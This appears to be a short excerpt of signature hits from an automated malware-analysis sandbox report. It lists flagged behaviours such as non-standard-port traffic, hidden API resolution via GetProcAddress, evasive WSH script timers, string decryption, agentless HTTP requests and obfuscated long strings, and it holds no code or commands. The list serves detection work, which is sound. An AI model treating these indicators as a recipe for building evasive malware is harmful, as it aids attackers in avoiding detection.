Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)

Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
